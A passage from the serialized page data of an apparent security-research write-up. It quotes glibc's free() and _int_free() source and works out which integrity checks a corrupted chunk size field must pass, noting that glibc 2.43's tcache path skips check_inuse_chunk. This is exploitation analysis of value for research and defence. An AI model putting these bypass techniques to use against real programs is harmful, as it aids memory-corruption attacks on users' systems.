(p))\n",{"type":23,"tag":141,"props":125057,"children":125058},{"class":143,"line":271},[125059],{"type":23,"tag":141,"props":125060,"children":125061},{"style":154},[125062],{"type":29,"value":224},{"type":23,"tag":141,"props":125064,"children":125065},{"class":143,"line":293},[125066,125071],{"type":23,"tag":141,"props":125067,"children":125068},{"style":184},[125069],{"type":29,"value":125070}," munmap_chunk",{"type":23,"tag":141,"props":125072,"children":125073},{"style":154},[125074],{"type":29,"value":125075}," (p);\n",{"type":23,"tag":141,"props":125077,"children":125078},{"class":143,"line":801},[125079],{"type":23,"tag":141,"props":125080,"children":125081},{"style":154},[125082],{"type":29,"value":299},{"type":23,"tag":141,"props":125084,"children":125085},{"class":143,"line":810},[125086],{"type":23,"tag":141,"props":125087,"children":125088},{"style":148},[125089],{"type":29,"value":125090}," else\n",{"type":23,"tag":141,"props":125092,"children":125093},{"class":143,"line":824},[125094],{"type":23,"tag":141,"props":125095,"children":125096},{"style":154},[125097],{"type":29,"value":224},{"type":23,"tag":141,"props":125099,"children":125100},{"class":143,"line":839},[125101,125106],{"type":23,"tag":141,"props":125102,"children":125103},{"style":184},[125104],{"type":29,"value":125105}," MAYBE_INIT_TCACHE",{"type":23,"tag":141,"props":125107,"children":125108},{"style":154},[125109],{"type":29,"value":125110}," ();\n",{"type":23,"tag":141,"props":125112,"children":125113},{"class":143,"line":848},[125114],{"type":23,"tag":141,"props":125115,"children":125116},{"emptyLinePlaceholder":15},[125117],{"type":29,"value":719},{"type":23,"tag":141,"props":125119,"children":125120},{"class":143,"line":2304},[125121,125126,125130,125135],{"type":23,"tag":141,"props":125122,"children":125123},{"style":154},[125124],{"type":29,"value":125125}," ar_ptr ",{"type":23,"tag":141,"props":125127,"children":125128},{"style":160},[125129],{"type":29,"value":1377},{"type":23,"tag":141,"props":125131,"children":125132},{"style":184},[125133],{"type":29,"value":125134}," arena_for_chunk",{"type":23,"tag":141,"props":125136,"children":125137},{"style":154},[125138],{"type":29,"value":125075},{"type":23,"tag":141,"props":125140,"children":125141},{"class":143,"line":2313},[125142,125147,125152,125156],{"type":23,"tag":141,"props":125143,"children":125144},{"style":184},[125145],{"type":29,"value":125146}," _int_free",{"type":23,"tag":141,"props":125148,"children":125149},{"style":154},[125150],{"type":29,"value":125151}," (ar_ptr, p, ",{"type":23,"tag":141,"props":125153,"children":125154},{"style":472},[125155],{"type":29,"value":2698},{"type":23,"tag":141,"props":125157,"children":125158},{"style":154},[125159],{"type":29,"value":2496},{"type":23,"tag":141,"props":125161,"children":125162},{"class":143,"line":2335},[125163],{"type":23,"tag":141,"props":125164,"children":125165},{"style":154},[125166],{"type":29,"value":299},{"type":23,"tag":141,"props":125168,"children":125169},{"class":143,"line":2343},[125170],{"type":23,"tag":141,"props":125171,"children":125172},{"style":154},[125173],{"type":29,"value":2573},{"type":23,"tag":32,"props":125175,"children":125176},{},[125177,125179,125184,125186,125191,125193,125199,125201,125207,125209,125214,125216,125221,125223,125228,125230,125235],{"type":29,"value":125178},"We can see that if the ",{"type":23,"tag":38,"props":125180,"children":125182},{"className":125181},[],[125183],{"type":29,"value":124914},{"type":29,"value":125185}," bit is set in the corrupted ",{"type":23,"tag":38,"props":125187,"children":125189},{"className":125188},[],[125190],{"type":29,"value":122745},{"type":29,"value":125192}," field, glibc will call ",{"type":23,"tag":38,"props":125194,"children":125196},{"className":125195},[],[125197],{"type":29,"value":125198},"munmap_chunk",{"type":29,"value":125200},", which internally checks that ",{"type":23,"tag":38,"props":125202,"children":125204},{"className":125203},[],[125205],{"type":29,"value":125206},"prev_size + size",{"type":29,"value":125208}," is page-aligned. To reach the ",{"type":23,"tag":38,"props":125210,"children":125212},{"className":125211},[],[125213],{"type":29,"value":122745},{"type":29,"value":125215}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":38,"props":125217,"children":125219},{"className":125218},[],[125220],{"type":29,"value":124864},{"type":29,"value":125222}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":38,"props":125224,"children":125226},{"className":125225},[],[125227],{"type":29,"value":125206},{"type":29,"value":125229}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":38,"props":125231,"children":125233},{"className":125232},[],[125234],{"type":29,"value":124914},{"type":29,"value":125236}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":32,"props":125238,"children":125239},{},[125240,125242,125247,125249,125255],{"type":29,"value":125241},"Assuming ",{"type":23,"tag":38,"props":125243,"children":125245},{"className":125244},[],[125246],{"type":29,"value":124914},{"type":29,"value":125248}," is not set, execution continues into ",{"type":23,"tag":38,"props":125250,"children":125252},{"className":125251},[],[125253],{"type":29,"value":125254},"_int_free",{"type":29,"value":114},{"type":23,"tag":131,"props":125257,"children":125259},{"code":125258,"language":1807,"meta":7,"className":15191,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[125260],{"type":23,"tag":38,"props":125261,"children":125262},{"__ignoreMap":7},[125263,125275,125318,125325,125333,125340,125361,125368,125376,125384,125392,125400,125464,125499,125520,125528,125536,125584,125604,125611,125624,125631],{"type":23,"tag":141,"props":125264,"children":125265},{"class":143,"line":144},[125266,125270],{"type":23,"tag":141,"props":125267,"children":125268},{"style":449},[125269],{"type":29,"value":49523},{"type":23,"tag":141,"props":125271,"children":125272},{"style":449},[125273],{"type":29,"value":125274}," void\n",{"type":23,"tag":141,"props":125276,"children":125277},{"class":143,"line":180},[125278,125282,125287,125292,125297,125301,125305,125309,125314],{"type":23,"tag":141,"props":125279,"children":125280},{"style":184},[125281],{"type":29,"value":125254},{"type":23,"tag":141,"props":125283,"children":125284},{"style":154},[125285],{"type":29,"value":125286}," (mstate ",{"type":23,"tag":141,"props":125288,"children":125289},{"style":750},[125290],{"type":29,"value":125291},"av",{"type":23,"tag":141,"props":125293,"children":125294},{"style":154},[125295],{"type":29,"value":125296},", mchunkptr ",{"type":23,"tag":141,"props":125298,"children":125299},{"style":750},[125300],{"type":29,"value":32},{"type":23,"tag":141,"props":125302,"children":125303},{"style":154},[125304],{"type":29,"value":480},{"type":23,"tag":141,"props":125306,"children":125307},{"style":449},[125308],{"type":29,"value":17718},{"type":23,"tag":141,"props":125310,"children":125311},{"style":750},[125312],{"type":29,"value":125313}," have_lock",{"type":23,"tag":141,"props":125315,"children":125316},{"style":154},[125317],{"type":29,"value":758},{"type":23,"tag":141,"props":125319,"children":125320},{"class":143,"line":205},[125321],{"type":23,"tag":141,"props":125322,"children":125323},{"style":154},[125324],{"type":29,"value":766},{"type":23,"tag":141,"props":125326,"children":125327},{"class":143,"line":218},[125328],{"type":23,"tag":141,"props":125329,"children":125330},{"style":154},[125331],{"type":29,"value":125332}," INTERNAL_SIZE_T size;\n",{"type":23,"tag":141,"props":125334,"children":125335},{"class":143,"line":227},[125336],{"type":23,"tag":141,"props":125337,"children":125338},{"emptyLinePlaceholder":15},[125339],{"type":29,"value":719},{"type":23,"tag":141,"props":125341,"children":125342},{"class":143,"line":241},[125343,125348,125352,125357],{"type":23,"tag":141,"props":125344,"children":125345},{"style":154},[125346],{"type":29,"value":125347}," size ",{"type":23,"tag":141,"props":125349,"children":125350},{"style":160},[125351],{"type":29,"value":1377},{"type":23,"tag":141,"props":125353,"children":125354},{"style":184},[125355],{"type":29,"value":125356}," chunksize",{"type":23,"tag":141,"props":125358,"children":125359},{"style":154},[125360],{"type":29,"value":125075},{"type":23,"tag":141,"props":125362,"children":125363},{"class":143,"line":262},[125364],{"type":23,"tag":141,"props":125365,"children":125366},{"emptyLinePlaceholder":15},[125367],{"type":29,"value":719},{"type":23,"tag":141,"props":125369,"children":125370},{"class":143,"line":271},[125371],{"type":23,"tag":141,"props":125372,"children":125373},{"style":443},[125374],{"type":29,"value":125375}," /* Little security check which won't hurt performance: the\n",{"type":23,"tag":141,"props":125377,"children":125378},{"class":143,"line":293},[125379],{"type":23,"tag":141,"props":125380,"children":125381},{"style":443},[125382],{"type":29,"value":125383}," allocator never wraps around at the end of the address space.\n",{"type":23,"tag":141,"props":125385,"children":125386},{"class":143,"line":801},[125387],{"type":23,"tag":141,"props":125388,"children":125389},{"style":443},[125390],{"type":29,"value":125391}," Therefore we can exclude some size values which might appear\n",{"type":23,"tag":141,"props":125393,"children":125394},{"class":143,"line":810},[125395],{"type":23,"tag":141,"props":125396,"children":125397},{"style":443},[125398],{"type":29,"value":125399}," here by accident or by \"design\" from some intruder. */\n",{"type":23,"tag":141,"props":125401,"children":125402},{"class":143,"line":824},[125403,125407,125411,125416,125421,125426,125431,125435,125439,125443,125447,125451,125456,125460],{"type":23,"tag":141,"props":125404,"children":125405},{"style":148},[125406],{"type":29,"value":29862},{"type":23,"tag":141,"props":125408,"children":125409},{"style":154},[125410],{"type":29,"value":1220},{"type":23,"tag":141,"props":125412,"children":125413},{"style":184},[125414],{"type":29,"value":125415},"__builtin_expect",{"type":23,"tag":141,"props":125417,"children":125418},{"style":154},[125419],{"type":29,"value":125420}," ((",{"type":23,"tag":141,"props":125422,"children":125423},{"style":449},[125424],{"type":29,"value":125425},"uintptr_t",{"type":23,"tag":141,"props":125427,"children":125428},{"style":154},[125429],{"type":29,"value":125430},") p ",{"type":23,"tag":141,"props":125432,"children":125433},{"style":160},[125434],{"type":29,"value":9142},{"type":23,"tag":141,"props":125436,"children":125437},{"style":154},[125438],{"type":29,"value":1220},{"type":23,"tag":141,"props":125440,"children":125441},{"style":449},[125442],{"type":29,"value":125425},{"type":23,"tag":141,"props":125444,"children":125445},{"style":154},[125446],{"type":29,"value":1748},{"type":23,"tag":141,"props":125448,"children":125449},{"style":160},[125450],{"type":29,"value":3004},{"type":23,"tag":141,"props":125452,"children":125453},{"style":154},[125454],{"type":29,"value":125455},"size, ",{"type":23,"tag":141,"props":125457,"children":125458},{"style":472},[125459],{"type":29,"value":2698},{"type":23,"tag":141,"props":125461,"children":125462},{"style":154},[125463],{"type":29,"value":758},{"type":23,"tag":141,"props":125465,"children":125466},{"class":143,"line":839},[125467,125472,125477,125481,125486,125491,125495],{"type":23,"tag":141,"props":125468,"children":125469},{"style":160},[125470],{"type":29,"value":125471}," ||",{"type":23,"tag":141,"props":125473,"children":125474},{"style":184},[125475],{"type":29,"value":125476}," __builtin_expect",{"type":23,"tag":141,"props":125478,"children":125479},{"style":154},[125480],{"type":29,"value":1220},{"type":23,"tag":141,"props":125482,"children":125483},{"style":184},[125484],{"type":29,"value":125485},"misaligned_chunk",{"type":23,"tag":141,"props":125487,"children":125488},{"style":154},[125489],{"type":29,"value":125490}," (p), ",{"type":23,"tag":141,"props":125492,"children":125493},{"style":472},[125494],{"type":29,"value":2698},{"type":23,"tag":141,"props":125496,"children":125497},{"style":154},[125498],{"type":29,"value":498},{"type":23,"tag":141,"props":125500,"children":125501},{"class":143,"line":848},[125502,125507,125511,125516],{"type":23,"tag":141,"props":125503,"children":125504},{"style":184},[125505],{"type":29,"value":125506}," malloc_printerr",{"type":23,"tag":141,"props":125508,"children":125509},{"style":154},[125510],{"type":29,"value":1220},{"type":23,"tag":141,"props":125512,"children":125513},{"style":828},[125514],{"type":29,"value":125515},"\"free(): invalid pointer\"",{"type":23,"tag":141,"props":125517,"children":125518},{"style":154},[125519],{"type":29,"value":2496},{"type":23,"tag":141,"props":125521,"children":125522},{"class":143,"line":2304},[125523],{"type":23,"tag":141,"props":125524,"children":125525},{"style":443},[125526],{"type":29,"value":125527}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":141,"props":125529,"children":125530},{"class":143,"line":2313},[125531],{"type":23,"tag":141,"props":125532,"children":125533},{"style":443},[125534],{"type":29,"value":125535}," multiple of MALLOC_ALIGNMENT. */\n",{"type":23,"tag":141,"props":125537,"children":125538},{"class":143,"line":2335},[125539,125543,125547,125552,125557,125561,125566,125570,125574,125579],{"type":23,"tag":141,"props":125540,"children":125541},{"style":148},[125542],{"type":29,"value":29862},{"type":23,"tag":141,"props":125544,"children":125545},{"style":154},[125546],{"type":29,"value":1220},{"type":23,"tag":141,"props":125548,"children":125549},{"style":184},[125550],{"type":29,"value":125551},"__glibc_unlikely",{"type":23,"tag":141,"props":125553,"children":125554},{"style":154},[125555],{"type":29,"value":125556}," (size ",{"type":23,"tag":141,"props":125558,"children":125559},{"style":160},[125560],{"type":29,"value":4480},{"type":23,"tag":141,"props":125562,"children":125563},{"style":154},[125564],{"type":29,"value":125565}," MINSIZE ",{"type":23,"tag":141,"props":125567,"children":125568},{"style":160},[125569],{"type":29,"value":163},{"type":23,"tag":141,"props":125571,"children":125572},{"style":160},[125573],{"type":29,"value":1258},{"type":23,"tag":141,"props":125575,"children":125576},{"style":184},[125577],{"type":29,"value":125578},"aligned_OK",{"type":23,"tag":141,"props":125580,"children":125581},{"style":154},[125582],{"type":29,"value":125583}," (size)))\n",{"type":23,"tag":141,"props":125585,"children":125586},{"class":143,"line":2343},[125587,125591,125595,125600],{"type":23,"tag":141,"props":125588,"children":125589},{"style":184},[125590],{"type":29,"value":125506},{"type":23,"tag":141,"props":125592,"children":125593},{"style":154},[125594],{"type":29,"value":1220},{"type":23,"tag":141,"props":125596,"children":125597},{"style":828},[125598],{"type":29,"value":125599},"\"free(): invalid size\"",{"type":23,"tag":141,"props":125601,"children":125602},{"style":154},[125603],{"type":29,"value":2496},{"type":23,"tag":141,"props":125605,"children":125606},{"class":143,"line":2352},[125607],{"type":23,"tag":141,"props":125608,"children":125609},{"emptyLinePlaceholder":15},[125610],{"type":29,"value":719},{"type":23,"tag":141,"props":125612,"children":125613},{"class":143,"line":2421},[125614,125619],{"type":23,"tag":141,"props":125615,"children":125616},{"style":184},[125617],{"type":29,"value":125618}," check_inuse_chunk",{"type":23,"tag":141,"props":125620,"children":125621},{"style":154},[125622],{"type":29,"value":125623},"(av, p);\n",{"type":23,"tag":141,"props":125625,"children":125626},{"class":143,"line":2429},[125627],{"type":23,"tag":141,"props":125628,"children":125629},{"emptyLinePlaceholder":15},[125630],{"type":29,"value":719},{"type":23,"tag":141,"props":125632,"children":125633},{"class":143,"line":2459},[125634],{"type":23,"tag":141,"props":125635,"children":125636},{"style":154},[125637],{"type":29,"value":125638}," [...]\n",{"type":23,"tag":32,"props":125640,"children":125641},{},[125642],{"type":29,"value":125643},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":32,"props":125645,"children":125646},{},[125647,125649,125654,125656,125661,125663,125668,125670,125675],{"type":29,"value":125648},"The next check, however, ensures that the ",{"type":23,"tag":38,"props":125650,"children":125652},{"className":125651},[],[125653],{"type":29,"value":122745},{"type":29,"value":125655}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":38,"props":125657,"children":125659},{"className":125658},[],[125660],{"type":29,"value":122745},{"type":29,"value":125662}," must preserve alignment while also avoiding the ",{"type":23,"tag":38,"props":125664,"children":125666},{"className":125665},[],[125667],{"type":29,"value":124914},{"type":29,"value":125669}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":38,"props":125671,"children":125673},{"className":125672},[],[125674],{"type":29,"value":122745},{"type":29,"value":125676}," corruption looked very unreliable at first.",{"type":23,"tag":32,"props":125678,"children":125679},{},[125680],{"type":29,"value":125681},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":131,"props":125683,"children":125685},{"code":125684,"language":1807,"meta":7,"className":15191,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[125686],{"type":23,"tag":38,"props":125687,"children":125688},{"__ignoreMap":7},[125689,125697,125724,125731,125738,125745,125764,125771,125791,125798,125826,125850,125857,125870,125912,125919,125927,125934,125951],{"type":23,"tag":141,"props":125690,"children":125691},{"class":143,"line":144},[125692],{"type":23,"tag":141,"props":125693,"children":125694},{"style":449},[125695],{"type":29,"value":125696},"void\n",{"type":23,"tag":141,"props":125698,"children":125699},{"class":143,"line":180},[125700,125704,125708,125712,125716,125720],{"type":23,"tag":141,"props":125701,"children":125702},{"style":184},[125703],{"type":29,"value":124962},{"type":23,"tag":141,"props":125705,"children":125706},{"style":154},[125707],{"type":29,"value":1220},{"type":23,"tag":141,"props":125709,"children":125710},{"style":449},[125711],{"type":29,"value":50106},{"type":23,"tag":141,"props":125713,"children":125714},{"style":160},[125715],{"type":29,"value":8496},{"type":23,"tag":141,"props":125717,"children":125718},{"style":750},[125719],{"type":29,"value":39136},{"type":23,"tag":141,"props":125721,"children":125722},{"style":154},[125723],{"type":29,"value":758},{"type":23,"tag":141,"props":125725,"children":125726},{"class":143,"line":205},[125727],{"type":23,"tag":141,"props":125728,"children":125729},{"style":154},[125730],{"type":29,"value":766},{"type":23,"tag":141,"props":125732,"children":125733},{"class":143,"line":218},[125734],{"type":23,"tag":141,"props":125735,"children":125736},{"style":154},[125737],{"type":29,"value":125005},{"type":23,"tag":141,"props":125739,"children":125740},{"class":143,"line":227},[125741],{"type":23,"tag":141,"props":125742,"children":125743},{"emptyLinePlaceholder":15},[125744],{"type":29,"value":719},{"type":23,"tag":141,"props":125746,"children":125747},{"class":143,"line":241},[125748,125752,125756,125760],{"type":23,"tag":141,"props":125749,"children":125750},{"style":154},[125751],{"type":29,"value":125020},{"type":23,"tag":141,"props":125753,"children":125754},{"style":160},[125755],{"type":29,"value":1377},{"type":23,"tag":141,"props":125757,"children":125758},{"style":184},[125759],{"type":29,"value":125029},{"type":23,"tag":141,"props":125761,"children":125762},{"style":154},[125763],{"type":29,"value":125034},{"type":23,"tag":141,"props":125765,"children":125766},{"class":143,"line":262},[125767],{"type":23,"tag":141,"props":125768,"children":125769},{"emptyLinePlaceholder":15},[125770],{"type":29,"value":719},{"type":23,"tag":141,"props":125772,"children":125773},{"class":143,"line":271},[125774,125779,125783,125787],{"type":23,"tag":141,"props":125775,"children":125776},{"style":154},[125777],{"type":29,"value":125778}," INTERNAL_SIZE_T size ",{"type":23,"tag":141,"props":125780,"children":125781},{"style":160},[125782],{"type":29,"value":1377},{"type":23,"tag":141,"props":125784,"children":125785},{"style":184},[125786],{"type":29,"value":125356},{"type":23,"tag":141,"props":125788,"children":125789},{"style":154},[125790],{"type":29,"value":125075},{"type":23,"tag":141,"props":125792,"children":125793},{"class":143,"line":293},[125794],{"type":23,"tag":141,"props":125795,"children":125796},{"emptyLinePlaceholder":15},[125797],{"type":29,"value":719},{"type":23,"tag":141,"props":125799,"children":125800},{"class":143,"line":801},[125801,125805,125809,125813,125817,125821],{"type":23,"tag":141,"props":125802,"children":125803},{"style":148},[125804],{"type":29,"value":29862},{"type":23,"tag":141,"props":125806,"children":125807},{"style":154},[125808],{"type":29,"value":1220},{"type":23,"tag":141,"props":125810,"children":125811},{"style":184},[125812],{"type":29,"value":125551},{"type":23,"tag":141,"props":125814,"children":125815},{"style":154},[125816],{"type":29,"value":1220},{"type":23,"tag":141,"props":125818,"children":125819},{"style":184},[125820],{"type":29,"value":125485},{"type":23,"tag":141,"props":125822,"children":125823},{"style":154},[125824],{"type":29,"value":125825}," (p)))\n",{"type":23,"tag":141,"props":125827,"children":125828},{"class":143,"line":810},[125829,125833,125838,125842,125846],{"type":23,"tag":141,"props":125830,"children":125831},{"style":148},[125832],{"type":29,"value":15665},{"type":23,"tag":141,"props":125834,"children":125835},{"style":184},[125836],{"type":29,"value":125837}," malloc_printerr_tail",{"type":23,"tag":141,"props":125839,"children":125840},{"style":154},[125841],{"type":29,"value":1220},{"type":23,"tag":141,"props":125843,"children":125844},{"style":828},[125845],{"type":29,"value":125515},{"type":23,"tag":141,"props":125847,"children":125848},{"style":154},[125849],{"type":29,"value":2496},{"type":23,"tag":141,"props":125851,"children":125852},{"class":143,"line":824},[125853],{"type":23,"tag":141,"props":125854,"children":125855},{"emptyLinePlaceholder":15},[125856],{"type":29,"value":719},{"type":23,"tag":141,"props":125858,"children":125859},{"class":143,"line":839},[125860,125865],{"type":23,"tag":141,"props":125861,"children":125862},{"style":148},[125863],{"type":29,"value":125864},"#if",{"type":23,"tag":141,"props":125866,"children":125867},{"style":184},[125868],{"type":29,"value":125869}," USE_TCACHE\n",{"type":23,"tag":141,"props":125871,"children":125872},{"class":143,"line":848},[125873,125877,125881,125886,125890,125894,125899,125903,125908],{"type":23,"tag":141,"props":125874,"children":125875},{"style":148},[125876],{"type":29,"value":29862},{"type":23,"tag":141,"props":125878,"children":125879},{"style":154},[125880],{"type":29,"value":1220},{"type":23,"tag":141,"props":125882,"children":125883},{"style":184},[125884],{"type":29,"value":125885},"__glibc_likely",{"type":23,"tag":141,"props":125887,"children":125888},{"style":154},[125889],{"type":29,"value":125556},{"type":23,"tag":141,"props":125891,"children":125892},{"style":160},[125893],{"type":29,"value":4480},{"type":23,"tag":141,"props":125895,"children":125896},{"style":750},[125897],{"type":29,"value":125898}," mp_",{"type":23,"tag":141,"props":125900,"children":125901},{"style":154},[125902],{"type":29,"value":322},{"type":23,"tag":141,"props":125904,"children":125905},{"style":750},[125906],{"type":29,"value":125907},"tcache_max_bytes",{"type":23,"tag":141,"props":125909,"children":125910},{"style":154},[125911],{"type":29,"value":498},{"type":23,"tag":141,"props":125913,"children":125914},{"class":143,"line":2304},[125915],{"type":23,"tag":141,"props":125916,"children":125917},{"style":154},[125918],{"type":29,"value":224},{"type":23,"tag":141,"props":125920,"children":125921},{"class":143,"line":2313},[125922],{"type":23,"tag":141,"props":125923,"children":125924},{"style":154},[125925],{"type":29,"value":125926}," [...]\n",{"type":23,"tag":141,"props":125928,"children":125929},{"class":143,"line":2335},[125930],{"type":23,"tag":141,"props":125931,"children":125932},{"emptyLinePlaceholder":15},[125933],{"type":29,"value":719},{"type":23,"tag":141,"props":125935,"children":125936},{"class":143,"line":2343},[125937,125941,125946],{"type":23,"tag":141,"props":125938,"children":125939},{"style":148},[125940],{"type":29,"value":37828},{"type":23,"tag":141,"props":125942,"children":125943},{"style":184},[125944],{"type":29,"value":125945}," tcache_put",{"type":23,"tag":141,"props":125947,"children":125948},{"style":154},[125949],{"type":29,"value":125950}," (p, tc_idx);\n",{"type":23,"tag":141,"props":125952,"children":125953},{"class":143,"line":2352},[125954],{"type":23,"tag":141,"props":125955,"children":125956},{"style":154},[125957],{"type":29,"value":299},{"type":23,"tag":32,"props":125959,"children":125960},{},[125961,125963,125968],{"type":29,"value":125962},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":38,"props":125964,"children":125966},{"className":125965},[],[125967],{"type":29,"value":122745},{"type":29,"value":125969}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":32,"props":125971,"children":125972},{},[125973,125975,125981,125982,125987],{"type":29,"value":125974},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":38,"props":125976,"children":125978},{"className":125977},[],[125979],{"type":29,"value":125980},"check_inuse_chunk",{"type":29,"value":1220},{"type":23,"tag":38,"props":125983,"children":125985},{"className":125984},[],[125986],{"type":29,"value":122873},{"type":29,"value":22629},{"type":23,"tag":131,"props":125989,"children":125991},{"code":125990,"language":1807,"meta":7,"className":15191,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[125992],{"type":23,"tag":38,"props":125993,"children":125994},{"__ignoreMap":7},[125995,126002,126029,126036,126043,126050,126069,126076,126095,126102,126129,126152,126159,126185,126192,126203,126260],{"type":23,"tag":141,"props":125996,"children":125997},{"class":143,"line":144},[125998],{"type":23,"tag":141,"props":125999,"children":126000},{"style":449},[126001],{"type":29,"value":125696},{"type":23,"tag":141,"props":126003,"children":126004},{"class":143,"line":180},[126005,126009,126013,126017,126021,126025],{"type":23,"tag":141,"props":126006,"children":126007},{"style":184},[126008],{"type":29,"value":124962},{"type":23,"tag":141,"props":126010,"children":126011},{"style":154},[126012],{"type":29,"value":1220},{"type":23,"tag":141,"props":126014,"children":126015},{"style":449},[126016],{"type":29,"value":50106},{"type":23,"tag":141,"props":126018,"children":126019},{"style":160},[126020],{"type":29,"value":8496},{"type":23,"tag":141,"props":126022,"children":126023},{"style":750},[126024],{"type":29,"value":39136},{"type":23,"tag":141,"props":126026,"children":126027},{"style":154},[126028],{"type":29,"value":758},{"type":23,"tag":141,"props":126030,"children":126031},{"class":143,"line":205},[126032],{"type":23,"tag":141,"props":126033,"children":126034},{"style":154},[126035],{"type":29,"value":766},{"type":23,"tag":141,"props":126037,"children":126038},{"class":143,"line":218},[126039],{"type":23,"tag":141,"props":126040,"children":126041},{"style":154},[126042],{"type":29,"value":125005},{"type":23,"tag":141,"props":126044,"children":126045},{"class":143,"line":227},[126046],{"type":23,"tag":141,"props":126047,"children":126048},{"emptyLinePlaceholder":15},[126049],{"type":29,"value":719},{"type":23,"tag":141,"props":126051,"children":126052},{"class":143,"line":241},[126053,126057,126061,126065],{"type":23,"tag":141,"props":126054,"children":126055},{"style":154},[126056],{"type":29,"value":125020},{"type":23,"tag":141,"props":126058,"children":126059},{"style":160},[126060],{"type":29,"value":1377},{"type":23,"tag":141,"props":126062,"children":126063},{"style":184},[126064],{"type":29,"value":125029},{"type":23,"tag":141,"props":126066,"children":126067},{"style":154},[126068],{"type":29,"value":125034},{"type":23,"tag":141,"props":126070,"children":126071},{"class":143,"line":262},[126072],{"type":23,"tag":141,"props":126073,"children":126074},{"emptyLinePlaceholder":15},[126075],{"type":29,"value":719},{"type":23,"tag":141,"props":126077,"children":126078},{"class":143,"line":271},[126079,126083,126087,126091],{"type":23,"tag":141,"props":126080,"children":126081},{"style":154},[126082],{"type":29,"value":125778},{"type":23,"tag":141,"props":126084,"children":126085},{"style":160},[126086],{"type":29,"value":1377},{"type":23,"tag":141,"props":126088,"children":126089},{"style":184},[126090],{"type":29,"value":125356},{"type":23,"tag":141,"props":126092,"children":126093},{"style":154},[126094],{"type":29,"value":125075},{"type":23,"tag":141,"props":126096,"children":126097},{"class":143,"line":293},[126098],{"type":23,"tag":141,"props":126099,"children":126100},{"emptyLinePlaceholder":15},[126101],{"type":29,"value":719},{"type":23,"tag":141,"props":126103,"children":126104},{"class":143,"line":801},[126105,126109,126113,126117,126121,126125],{"type":23,"tag":141,"props":126106,"children":126107},{"style":148},[126108],{"type":29,"value":29862},{"type":23,"tag":141,"props":126110,"children":126111},{"style":154},[126112],{"type":29,"value":1220},{"type":23,"tag":141,"props":126114,"children":126115},{"style":184},[126116],{"type":29,"value":125551},{"type":23,"tag":141,"props":126118,"children":126119},{"style":154},[126120],{"type":29,"value":1220},{"type":23,"tag":141,"props":126122,"children":126123},{"style":184},[126124],{"type":29,"value":125485},{"type":23,"tag":141,"props":126126,"children":126127},{"style":154},[126128],{"type":29,"value":125825},{"type":23,"tag":141,"props":126130,"children":126131},{"class":143,"line":810},[126132,126136,126140,126144,126148],{"type":23,"tag":141,"props":126133,"children":126134},{"style":148},[126135],{"type":29,"value":15665},{"type":23,"tag":141,"props":126137,"children":126138},{"style":184},[126139],{"type":29,"value":125837},{"type":23,"tag":141,"props":126141,"children":126142},{"style":154},[126143],{"type":29,"value":1220},{"type":23,"tag":141,"props":126145,"children":126146},{"style":828},[126147],{"type":29,"value":125515},{"type":23,"tag":141,"props":126149,"children":126150},{"style":154},[126151],{"type":29,"value":2496},{"type":23,"tag":141,"props":126153,"children":126154},{"class":143,"line":824},[126155],{"type":23,"tag":141,"props":126156,"children":126157},{"emptyLinePlaceholder":15},[126158],{"type":29,"value":719},{"type":23,"tag":141,"props":126160,"children":126161},{"class":143,"line":839},[126162,126166,126170,126175,126180],{"type":23,"tag":141,"props":126163,"children":126164},{"style":184},[126165],{"type":29,"value":125618},{"type":23,"tag":141,"props":126167,"children":126168},{"style":154},[126169],{"type":29,"value":1220},{"type":23,"tag":141,"props":126171,"children":126172},{"style":184},[126173],{"type":29,"value":126174},"arena_for_chunk",{"type":23,"tag":141,"props":126176,"children":126177},{"style":154},[126178],{"type":29,"value":126179}," (p), p);",{"type":23,"tag":141,"props":126181,"children":126182},{"style":443},[126183],{"type":29,"value":126184}," // 